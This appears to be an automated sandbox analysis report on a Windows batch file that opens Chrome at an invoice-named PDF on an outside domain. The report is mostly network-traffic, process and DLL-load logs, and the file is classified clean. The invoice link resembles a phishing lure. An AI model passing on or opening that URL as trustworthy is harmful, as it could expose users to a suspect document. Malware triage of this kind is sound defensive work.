Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49895 version: TLS 1.2

Source: classification engine

Classification label: clean2.winCMD@19/10@11/5

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1264:120:WilError_03

Source: C:\Windows\System32\timeout.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\ass.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s2r.tn/cgi/INVOICERVSHA.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2612 --field-trial-handle=2476,i,8966807977756366984,10787643542951515386,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s2r.tn/cgi/INVOICERVSHA.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2612 --field-trial-handle=2476,i,8966807977756366984,10787643542951515386,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s2r.tn/cgi/INVOICERVSHA.pdf			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	11 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ass.cmd	0%	ReversingLabs

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s2r.tn	70.38.21.234	true	false		unknown
www.google.com	142.250.185.228	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://s2r.tn/cgi/INVOICERVSHA.pdf	false		unknown
https://s2r.tn/favicon.ico	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
70.38.21.234	s2r.tn	Canada	32613	IWEB-ASCA	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.9
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542800
Start date and time:	2024-10-26 13:43:47 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
